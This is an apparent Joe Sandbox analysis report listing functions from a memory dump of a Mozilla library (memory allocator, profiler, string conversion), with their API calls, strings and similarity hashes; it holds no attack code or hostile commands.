Associated: 00000000.00000002.2210805501.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2211421898.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_ukuWaeRgPR.jbxd

Similarity

API ID: CriticalSection$EnterLeave$AllocVirtual
String ID: MOZ_CRASH()$MOZ_RELEASE_ASSERT(mNode)
API String ID: 618468079-3566792288
Opcode ID: 58fb4483d3e0a54b364506affb5b53425b38debb71d2fd697a6d715db4f83a55
Instruction ID: 2459f1227c5aa41ce6cb5d4d168d147fcb164a52ef6ca0afe0af170b2207bc20
Opcode Fuzzy Hash: 58fb4483d3e0a54b364506affb5b53425b38debb71d2fd697a6d715db4f83a55
Instruction Fuzzy Hash: A9B29B716057918FD718CF29C590716BBE1AF85328F28C66CE8AE8B795D772D840CF81

Function 6C365600 Relevance: 22.0, APIs: 6, Strings: 6, Instructions: 950COMMON

Download Yara Rule

Strings

data, xrefs: 6C366131
name, xrefs: 6C365E79, 6C365E8F
ProfileBuffer parse error: %s, xrefs: 6C365AC8, 6C365CBB
schema, xrefs: 6C36606D
expected a Time entry, xrefs: 6C365CB6
expected a Count entry, xrefs: 6C365AC3

Memory Dump Source

Source File: 00000000.00000002.2210363153.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2210328864.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2210447818.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2210805501.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2211421898.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_ukuWaeRgPR.jbxd

Similarity

API ID:
String ID: ProfileBuffer parse error: %s$data$expected a Count entry$expected a Time entry$name$schema
API String ID: 0-2712937348
Opcode ID: 698f6975770ea7680bfa927f217dd81d89b8971378c461158f2e957f4d59f36d
Instruction ID: eac47d97d4e3b033b8f2872d278613adedc9315b200358d598f826262be5d8b2
Opcode Fuzzy Hash: 698f6975770ea7680bfa927f217dd81d89b8971378c461158f2e957f4d59f36d
Instruction Fuzzy Hash: D8922A75A083418FD724CF29C49079AB7E1BFC9308F14892DE59A9BB55DB31E809CF92

Function 6C327810 Relevance: 21.4, APIs: 12, Strings: 2, Instructions: 372COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C39E744), ref: 6C327885
LeaveCriticalSection.KERNEL32(6C39E744), ref: 6C3278A5
EnterCriticalSection.KERNEL32(6C39E784), ref: 6C3278AD
LeaveCriticalSection.KERNEL32(6C39E784), ref: 6C3278CD
EnterCriticalSection.KERNEL32(6C39E7DC), ref: 6C3278D4
memset.VCRUNTIME140(?,00000000,00000158), ref: 6C3278E9
EnterCriticalSection.KERNEL32(00000000), ref: 6C32795D
memset.VCRUNTIME140(?,00000000,00000160), ref: 6C3279BB
LeaveCriticalSection.KERNEL32(?), ref: 6C327BBC
memset.VCRUNTIME140(?,00000000,00000158), ref: 6C327C82
LeaveCriticalSection.KERNEL32(6C39E7DC), ref: 6C327CD2
memset.VCRUNTIME140(00000000,00000000,00000450), ref: 6C327DAF

Strings

D9l, xrefs: 6C32789F
D9l, xrefs: 6C32787F

Memory Dump Source

Source File: 00000000.00000002.2210363153.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2210328864.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2210447818.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2210805501.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2211421898.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_ukuWaeRgPR.jbxd

Similarity

API ID: CriticalSection$EnterLeavememset
String ID: D9l$D9l
API String ID: 759993129-1027931690
Opcode ID: 970e61ffa2585a85f5f878a82f38095c109c535561b11c79382da152aaf299c5
Instruction ID: 0f473c395af845cd8e7f2a27606309bdd3225a482b2d7bc107e48f6a5d9c31ae
Opcode Fuzzy Hash: 970e61ffa2585a85f5f878a82f38095c109c535561b11c79382da152aaf299c5
Instruction Fuzzy Hash: 03028431E0121A8FDF54CF29C984799B7B5FF49318F1542AAD809A7711E735AD90CF80

Function 6C362E4E Relevance: 19.8, APIs: 8, Strings: 3, Instructions: 579stringCOMMON

Download Yara Rule

APIs

MozDescribeCodeAddress.MOZGLUE(?,?), ref: 6C362ED3
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C362EE7
MozFormatCodeAddressDetails.MOZGLUE(?,000000FF,00000000,?,?), ref: 6C362F0D
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C363214
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C363242
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C3636BF

Strings

get , xrefs: 6C363205
set , xrefs: 6C3636EC
MOZ_PROFILER_SYMBOLICATE, xrefs: 6C36378D

Memory Dump Source

Source File: 00000000.00000002.2210363153.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2210328864.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2210447818.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2210805501.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2211421898.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_ukuWaeRgPR.jbxd

Similarity

API ID: strlen$AddressCode$DescribeDetailsFormat
String ID: MOZ_PROFILER_SYMBOLICATE$get $set
API String ID: 2257098003-3318126862
Opcode ID: 041fbabc00000e4b1cecd26ec0e48b6aa679d078bbf71eead83aec6a391ea68c
Instruction ID: a321d9afb77d73bfd2e0c38e42c19bc95f7bbc96a1e42fc16cc4300597bbfe5f
Opcode Fuzzy Hash: 041fbabc00000e4b1cecd26ec0e48b6aa679d078bbf71eead83aec6a391ea68c
Instruction Fuzzy Hash: 8B325CB06083818FD764CF25C49069EBBE2AFC9318F54881DE5D987B55DB31A84ACF53

Function 6C357E10 Relevance: 19.7, APIs: 6, Strings: 5, Instructions: 403COMMON

Download Yara Rule

Strings

data, xrefs: 6C358280, 6C3583E1
name, xrefs: 6C357ECF, 6C358335
schema, xrefs: 6C3581E3, 6C358311
v9l, xrefs: 6C358207
(pre-xul), xrefs: 6C357E88

Memory Dump Source

Source File: 00000000.00000002.2210363153.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2210328864.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2210447818.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2210805501.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2211421898.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_ukuWaeRgPR.jbxd

Similarity

API ID: memcpystrlen
String ID: (pre-xul)$data$name$schema$v9l
API String ID: 3412268980-2648943338
Opcode ID: 9847e6bf56908330f019fbd4beb3bb27f9a3395892dc9c89043fecf1268d959c
Instruction ID: 5d6b0756170511c6fcdffa4e51db7e83c380b66d4621c7bbd9bf5d39ed7d8e01
Opcode Fuzzy Hash: 9847e6bf56908330f019fbd4beb3bb27f9a3395892dc9c89043fecf1268d959c
Instruction Fuzzy Hash: F0E180B5A043508BCB10CF68C84065BF7E9BBC5318F14492DE999AB790DB75DD098F92

Function 6C375FF0 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 76COMMON

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32 ref: 6C376009
??0PrintfTarget@mozilla@@IAE@XZ.MOZGLUE ref: 6C376024
?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z.MOZGLUE(Q1l,?), ref: 6C376046
OutputDebugStringA.KERNEL32(?,Q1l,?), ref: 6C376061
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C376069
_fileno.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6C376073
_dup.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6C376082
_fdopen.API-MS-WIN-CRT-MATH-L1-1-0(00000000,6C39148E), ref: 6C376091
__stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,Q1l,00000000,?), ref: 6C3760BA
fclose.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6C3760C4

Strings

Q1l, xrefs: 6C375FFC, 6C376042, 6C376045, 6C3760B3

Memory Dump Source

Source File: 00000000.00000002.2210363153.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2210328864.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2210447818.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2210805501.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2211421898.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_ukuWaeRgPR.jbxd

Similarity

API ID: PrintfTarget@mozilla@@$?vprint@DebugDebuggerOutputPresentString__acrt_iob_func__stdio_common_vfprintf_dup_fdopen_filenofclose
String ID: Q1l
API String ID: 3835517998-3596235697
Opcode ID: 54fc9811c1595ce4683e00455c845366b9034369c020669d85be05558e073699
Instruction ID: 7e64f5ae7beb3f2340c948f88740b4e86b54d5ff332b81e7aff178d86ae11b93
Opcode Fuzzy Hash: 54fc9811c1595ce4683e00455c845366b9034369c020669d85be05558e073699
Instruction Fuzzy Hash: F221B5B1A002189FDF205F25DC09ADE7BBCFF45618F008428E85A9B240DB76A548CFE6

Function 6C335E90 Relevance: 19.2, APIs: 5, Strings: 6, Instructions: 2651COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(-0000000C), ref: 6C335EDB
memset.VCRUNTIME140(ew7l,000000E5,?), ref: 6C335F27
LeaveCriticalSection.KERNEL32(?), ref: 6C335FB2
memset.VCRUNTIME140(ew7l,000000E5,?), ref: 6C3361F0
VirtualFree.KERNEL32(-00000001,00100000,00004000), ref: 6C337652

Strings

MOZ_CRASH(), xrefs: 6C337BA4
MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?), xrefs: 6C33730D
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?), xrefs: 6C3372F8
ew7l, xrefs: 6C335E9C, 6C335F22, 6C3361ED
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.), xrefs: 6C3372E3
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C337BCD, 6C337C1F, 6C337C34, 6C3380FD

Memory Dump Source

Source File: 00000000.00000002.2210363153.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2210328864.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2210447818.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2210805501.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2211421898.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_ukuWaeRgPR.jbxd

Similarity

API ID: CriticalSectionmemset$EnterFreeLeaveVirtual
String ID: MOZ_CRASH()$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.)$MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?)$MOZ_RELEASE_ASSERT(mNode)$ew7l
API String ID: 2613674957-909953264
Opcode ID: 8748cbf6b289716adb18f5084990eebd08fc6d9ee39d575302bdcd065856a4ec
Instruction ID: 5c41c250ea616c21d52d3bf52a8bd036f99d630dd57b8806fcf5e21ef6ab7b69
Opcode Fuzzy Hash: 8748cbf6b289716adb18f5084990eebd08fc6d9ee39d575302bdcd065856a4ec
Instruction Fuzzy Hash: 02337B71605751CFD308CF28C590615BBE2BF86328B29D6ADE8698F7A5D732E841CF81

Function 6C364820 Relevance: 18.2, APIs: 1, Strings: 9, Instructions: 744COMMON

Download Yara Rule

Strings

data, xrefs: 6C3649B4
schema, xrefs: 6C3648C1
ProfileBuffer parse error: %s, xrefs: 6C364DD9
expected a ProfilerOverheadDuration entry after ProfilerOverheadTime, xrefs: 6C364CAF
expected a ProfilerOverheadDuration entry after ProfilerOverheadTime,ProfilerOverheadDuration*2, xrefs: 6C364D65
expected a ProfilerOverheadDuration entry after ProfilerOverheadTime,ProfilerOverheadDuration, xrefs: 6C364D0A
expected a ProfilerOverheadDuration entry after ProfilerOverheadTime,ProfilerOverheadDuration*3, xrefs: 6C364DB8, 6C364DD8
9l, xrefs: 6C364F88
-%llu, xrefs: 6C364825

Memory Dump Source

Source File: 00000000.00000002.2210363153.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2210328864.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2210447818.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2210805501.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2211421898.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_ukuWaeRgPR.jbxd

Similarity

API ID: free
String ID: 9l$-%llu$ProfileBuffer parse error: %s$data$expected a ProfilerOverheadDuration entry after ProfilerOverheadTime$expected a ProfilerOverheadDuration entry after ProfilerOverheadTime,ProfilerOverheadDuration$expected a ProfilerOverheadDuration entry after ProfilerOverheadTime,ProfilerOverheadDuration*2$expected a ProfilerOverheadDuration entry after ProfilerOverheadTime,ProfilerOverheadDuration*3$schema
API String ID: 1294909896-2736691197
Opcode ID: ee6b7bc2dd0c1c434960bad793a4e622bb5350c1308a4d96fbcf4e61c1d3803b
Instruction ID: bde7ffac01b761a393368f205ba3a8e3f6901a7955e582d22bf580b1bea106f0
Opcode Fuzzy Hash: ee6b7bc2dd0c1c434960bad793a4e622bb5350c1308a4d96fbcf4e61c1d3803b
Instruction Fuzzy Hash: C0722B75918B858BC322CF34C45139BF7E5AFDA344F108B1EE5CA6BA11EB71A485CB42

Function 6C33D4D0 Relevance: 17.8, APIs: 8, Strings: 2, Instructions: 251COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C39E784,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C34D1C5), ref: 6C33D4F2
LeaveCriticalSection.KERNEL32(6C39E784,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C34D1C5), ref: 6C33D50B

Part of subcall function 6C31CFE0: EnterCriticalSection.KERNEL32(6C39E784), ref: 6C31CFF6
Part of subcall function 6C31CFE0: LeaveCriticalSection.KERNEL32(6C39E784), ref: 6C31D026

InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,00001388,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C34D1C5), ref: 6C33D52E
EnterCriticalSection.KERNEL32(6C39E7DC), ref: 6C33D690
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C33D6A6
LeaveCriticalSection.KERNEL32(6C39E7DC), ref: 6C33D712
LeaveCriticalSection.KERNEL32(6C39E784,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C34D1C5), ref: 6C33D751
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C33D7EA

Strings

<jemalloc>, xrefs: 6C33D827
: (malloc) Error initializing arena, xrefs: 6C33D82C

Memory Dump Source

Source File: 00000000.00000002.2210363153.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2210328864.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2210447818.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2210805501.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2211421898.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_ukuWaeRgPR.jbxd

Similarity

API ID: CriticalSection$Leave$Enter$K@1@Maybe@_RandomUint64@mozilla@@$CountInitializeSpin
String ID: : (malloc) Error initializing arena$<jemalloc>
API String ID: 2690322072-3894294050
Opcode ID: a530a6222fedfe760c70dc644b39b8f876a89c78d2cc1bb981897972ebfab889
Instruction ID: 6178f1498258d87295bc8735fbc91aaaf82e248d1312c0f3b7551b8f2f9102c1
Opcode Fuzzy Hash: a530a6222fedfe760c70dc644b39b8f876a89c78d2cc1bb981897972ebfab889
Instruction Fuzzy Hash: 1C91E371A147918FD714CF29C09472AB7E5FB89318F14992EE5AE87B80E731E844CF92

Function 6C374EA0 Relevance: 16.2, APIs: 8, Strings: 1, Instructions: 408sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(000007D0), ref: 6C374EFF
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C374F2E
moz_xmalloc.MOZGLUE ref: 6C374F52
memset.VCRUNTIME140(00000000,00000000), ref: 6C374F62
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C3752B2
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C3752E6
Sleep.KERNEL32(00000010), ref: 6C375481
free.MOZGLUE(?), ref: 6C375498

Strings

(, xrefs: 6C375250

Memory Dump Source

Source File: 00000000.00000002.2210363153.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2210328864.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2210447818.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2210805501.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2211421898.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_ukuWaeRgPR.jbxd

Similarity

API ID: floor$Sleep$freememsetmoz_xmalloc
String ID: (
API String ID: 4104871533-3887548279
Opcode ID: 15f6f1f4f3580825588dca53144c27fac43c0d61394990cd70886bcafa953585
Instruction ID: 8d70e9b15260c2134515d69a5de887e088fbea0166c8b274603d67a40d7e83e6
Opcode Fuzzy Hash: 15f6f1f4f3580825588dca53144c27fac43c0d61394990cd70886bcafa953585
Instruction Fuzzy Hash: 8FF1D371A19B018FC716CF39C85062BB7F9AFD6384F05872EF846A7651EB31D8468B81

Function 6C377030 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 54windowCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 6C377046
FormatMessageA.KERNEL32(00001300,00000000,00000000,00000400,?,00000000,00000000), ref: 6C377060
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C37707E

Part of subcall function 6C3281B0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,00000000,?,ProfileBuffer parse error: %s,expected a ProfilerOverheadDuration entry after ProfilerOverheadTime), ref: 6C3281DE

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C377096
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6C37709C
LocalFree.KERNEL32(?), ref: 6C3770AA

Strings

(null), xrefs: 6C37706A, 6C377083
### ERROR: %s: %s, xrefs: 6C377087

Memory Dump Source

Source File: 00000000.00000002.2210363153.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2210328864.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2210447818.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2210805501.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2211421898.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_ukuWaeRgPR.jbxd

Similarity

API ID: __acrt_iob_func$ErrorFormatFreeLastLocalMessage__stdio_common_vfprintffflush
String ID: ### ERROR: %s: %s$(null)
API String ID: 2989430195-1695379354
Opcode ID: b67d2d99b5d7a132c985a5e8362358fcddd29d5682ef5ea01951e999aea84f35
Instruction ID: db31e11eaf79b321619a0168cbef47bf994215f0add071e2527ebe0ab129964c
Opcode Fuzzy Hash: b67d2d99b5d7a132c985a5e8362358fcddd29d5682ef5ea01951e999aea84f35
Instruction Fuzzy Hash: 1B0179B2E00108AFDF145F65DC4ADEF7BBCEF49259F010425FA46A7241F67269148BA1

Function 6C339E50 Relevance: 13.1, APIs: 6, Strings: 1, Instructions: 878COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6C339EB8
LeaveCriticalSection.KERNEL32(?), ref: 6C339F24
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C339F34
LeaveCriticalSection.KERNEL32(?), ref: 6C33A823
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C33A83C
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C33A849

Strings

MOZ_RELEASE_ASSERT(mNode), xrefs: 6C33A8B1, 6C33A8D4, 6C33A8EF

Memory Dump Source

Source File: 00000000.00000002.2210363153.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2210328864.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2210447818.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2210805501.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2211421898.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_ukuWaeRgPR.jbxd

Similarity

API ID: CriticalSection$K@1@LeaveMaybe@_RandomUint64@mozilla@@$Entermemset
String ID: MOZ_RELEASE_ASSERT(mNode)
API String ID: 2950001534-1351931279
Opcode ID: 6fd8225cf70d336c83c9ea618a863dae29dc2a5a2a8d00fec9d2f567fcee82fa
Instruction ID: b20077c3c24f31cb9b03c7e6b648565fb5d935d6bd0907b5d42dd2d0e9081068
Opcode Fuzzy Hash: 6fd8225cf70d336c83c9ea618a863dae29dc2a5a2a8d00fec9d2f567fcee82fa
Instruction Fuzzy Hash: A1726B72A056618FD704CF68C540615FBE1BF89328B29C76DE8A99F7A1D736E841CF80

Function 6C362C10 Relevance: 12.5, APIs: 4, Strings: 3, Instructions: 228stringCOMMON

Download Yara Rule

APIs

?EcmaScriptConverter@DoubleToStringConverter@double_conversion@@SAABV12@XZ.MOZGLUE ref: 6C362C31
?ToShortestIeeeNumber@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@W4DtoaMode@12@@Z.MOZGLUE ref: 6C362C61

Part of subcall function 6C314DE0: ?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C314E5A
Part of subcall function 6C314DE0: ?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6C314E97

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C362C82
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C362E2D

Part of subcall function 6C3281B0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,00000000,?,ProfileBuffer parse error: %s,expected a ProfilerOverheadDuration entry after ProfilerOverheadTime), ref: 6C3281DE

Strings

ProfileBuffer parse error: %s, xrefs: 6C362E3B
expected a Time entry, xrefs: 6C362E36
(root), xrefs: 6C36354F

Memory Dump Source

Source File: 00000000.00000002.2210363153.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2210328864.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2210447818.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2210805501.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2211421898.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_ukuWaeRgPR.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Dtoa$Ascii@Builder@2@Builder@2@@Converter@CreateDecimalEcmaIeeeMode@12@Mode@12@@Number@Representation@ScriptShortestV12@__acrt_iob_func__stdio_common_vfprintfstrlen
String ID: (root)$ProfileBuffer parse error: %s$expected a Time entry
API String ID: 801438305-4149320968
Opcode ID: 67a5be931ae6033d54a8f997f9dde074aabcd9b970f93f262e633f00c03f9f22
Instruction ID: b4a79faf7346b79a7ffdc32f452a9d689b6c7946ee3e68ef97bf3cad4f5ade95
Opcode Fuzzy Hash: 67a5be931ae6033d54a8f997f9dde074aabcd9b970f93f262e633f00c03f9f22
Instruction Fuzzy Hash: 0091CF706087408FC724CF26C49469EB7E5AF8A358F10491DE5DA8BB94EB31D549CF53

Function 6C379E30 Relevance: 10.8, APIs: 4, Strings: 2, Instructions: 347COMMON

Download Yara Rule

APIs

__aullrem.LIBCMT ref: 6C379F3D
__aulldiv.LIBCMT ref: 6C379F77
__aullrem.LIBCMT ref: 6C379F8C
__aulldiv.LIBCMT ref: 6C37A023

Strings

NaN, xrefs: 6C379EAB
-Infinity, xrefs: 6C379E60, 6C379E7B

Memory Dump Source

Source File: 00000000.00000002.2210363153.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2210328864.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2210447818.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2210805501.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2211421898.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_ukuWaeRgPR.jbxd

Similarity

API ID: __aulldiv__aullrem
String ID: -Infinity$NaN
API String ID: 3839614884-2141177498
Opcode ID: 97eac59c81fa6e4edd91d371b0a379e0c7dd1876e1641d4d5f106476e492ae5e
Instruction ID: fb239883cea5ea0c4b764f1119220d6d53169e227af819335bad6c18a76df8d3
Opcode Fuzzy Hash: 97eac59c81fa6e4edd91d371b0a379e0c7dd1876e1641d4d5f106476e492ae5e
Instruction Fuzzy Hash: DCC19071E04318CBDB24CFA8C8507DEB7B6AB88318F144529D445ABB80D779E949CFE5

Function 6C31D4E0 Relevance: 10.8, Strings: 8, Instructions: 805COMMON

Download Yara Rule

Strings

8, xrefs: 6C31DC08
@, xrefs: 6C31DAF6
0, xrefs: 6C31D852
9, xrefs: 6C31DE7F
0, xrefs: 6C31DC7F
-, xrefs: 6C31D7DD
1, xrefs: 6C31DBDD
, xrefs: 6C31DA88

Memory Dump Source

Source File: 00000000.00000002.2210363153.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2210328864.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2210447818.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2210805501.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2211421898.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_ukuWaeRgPR.jbxd

Similarity

API ID:
String ID: $-$0$0$1$8$9$@
API String ID: 0-3654031807
Opcode ID: c592c1c26722842598c83499c1c46c67cdb165f6eb26be59425cd0e0d3983cf2
